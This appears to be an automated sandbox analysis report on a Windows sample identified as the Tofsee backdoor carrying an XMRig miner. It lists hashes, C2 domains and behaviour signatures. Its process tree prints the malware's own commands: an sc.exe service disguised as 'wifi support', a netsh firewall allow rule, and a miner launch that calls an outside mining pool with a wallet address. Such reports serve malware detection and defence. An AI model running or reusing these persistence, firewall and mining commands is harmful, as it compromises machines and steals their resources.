Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    19/09/2023, 07:45

General

  • Target

    file.exe

  • Size

    246KB

  • MD5

    09ce9db1fe65f1dda9a12ff007ab7c49

  • SHA1

    6de9002994c5b24fd0d47ed7a2634acb0cfc9098

  • SHA256

    a5db0e42dae567e9606ec0c6d97e1329c76069d3843172ff2dd42df3cd3f3c5c

  • SHA512

    de5922106801baac81db1db020de2b2e0d5fe32e16e67899920773f8175475ec041e02adb37e2abf4b856924e35eb12fd55822c74faaa6bcd3faca7b87169f95

  • SSDEEP

    3072:sOmty/raritE/9T3WAEMVIhS5jgII+nijVFYnMOa5:sMrariCVG2jgIbnijVunMO

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2276
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zmzbapkn\
      2⤵
        PID:2072
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tnsqloln.exe" C:\Windows\SysWOW64\zmzbapkn\
        2⤵
          PID:2624
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zmzbapkn binPath= "C:\Windows\SysWOW64\zmzbapkn\tnsqloln.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2704
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description zmzbapkn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2820
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start zmzbapkn
          2⤵
          • Launches sc.exe
          PID:2356
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2792
      • C:\Windows\SysWOW64\zmzbapkn\tnsqloln.exe
        C:\Windows\SysWOW64\zmzbapkn\tnsqloln.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2596
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2528
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:276

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\tnsqloln.exe

        Filesize

        10.3MB

        MD5

        90961372e6e6c6573a7f46866ad4bfc9

        SHA1

        2f83fbf9dd6a55ab9f799957145c361098f4c151

        SHA256

        b1629dcb6ffba3e19b7ab66ee8c2c8018d9ad7c79dc597f32b17914251e04996

        SHA512

        c8c4c45b3733e2afaa0680028a0efd66db85e207cbac74fc588699bc3b458117df8eebf07be1c5d4dc39dc1d83ab3f6c70b461b6d2794a6a8287d2ee8f75a78c

      • C:\Windows\SysWOW64\zmzbapkn\tnsqloln.exe

        Filesize

        10.3MB

        MD5

        90961372e6e6c6573a7f46866ad4bfc9

        SHA1

        2f83fbf9dd6a55ab9f799957145c361098f4c151

        SHA256

        b1629dcb6ffba3e19b7ab66ee8c2c8018d9ad7c79dc597f32b17914251e04996

        SHA512

        c8c4c45b3733e2afaa0680028a0efd66db85e207cbac74fc588699bc3b458117df8eebf07be1c5d4dc39dc1d83ab3f6c70b461b6d2794a6a8287d2ee8f75a78c

      • memory/276-73-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/276-74-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/276-63-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/276-65-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/276-69-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/276-78-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/276-77-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/276-76-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/276-75-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/2276-2-0x0000000000230000-0x0000000000243000-memory.dmp

        Filesize

        76KB

      • memory/2276-1-0x0000000000860000-0x0000000000960000-memory.dmp

        Filesize

        1024KB

      • memory/2276-3-0x0000000000400000-0x000000000070C000-memory.dmp

        Filesize

        3.0MB

      • memory/2276-7-0x0000000000230000-0x0000000000243000-memory.dmp

        Filesize

        76KB

      • memory/2276-6-0x0000000000400000-0x000000000070C000-memory.dmp

        Filesize

        3.0MB

      • memory/2528-38-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2528-48-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2528-28-0x0000000000120000-0x0000000000126000-memory.dmp

        Filesize

        24KB

      • memory/2528-31-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2528-34-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2528-35-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2528-36-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2528-37-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2528-24-0x00000000019F0000-0x0000000001BFF000-memory.dmp

        Filesize

        2.1MB

      • memory/2528-39-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2528-40-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2528-41-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2528-42-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2528-43-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2528-44-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2528-45-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2528-46-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2528-27-0x00000000019F0000-0x0000000001BFF000-memory.dmp

        Filesize

        2.1MB

      • memory/2528-47-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2528-49-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2528-50-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2528-51-0x0000000000180000-0x0000000000185000-memory.dmp

        Filesize

        20KB

      • memory/2528-54-0x0000000000180000-0x0000000000185000-memory.dmp

        Filesize

        20KB

      • memory/2528-55-0x0000000005580000-0x000000000598B000-memory.dmp

        Filesize

        4.0MB

      • memory/2528-58-0x0000000005580000-0x000000000598B000-memory.dmp

        Filesize

        4.0MB

      • memory/2528-59-0x0000000000190000-0x0000000000197000-memory.dmp

        Filesize

        28KB

      • memory/2528-23-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2528-21-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2528-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2528-12-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2528-15-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2528-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2596-18-0x0000000000400000-0x000000000070C000-memory.dmp

        Filesize

        3.0MB

      • memory/2596-11-0x0000000000400000-0x000000000070C000-memory.dmp

        Filesize

        3.0MB

      • memory/2596-10-0x0000000000800000-0x0000000000900000-memory.dmp

        Filesize

        1024KB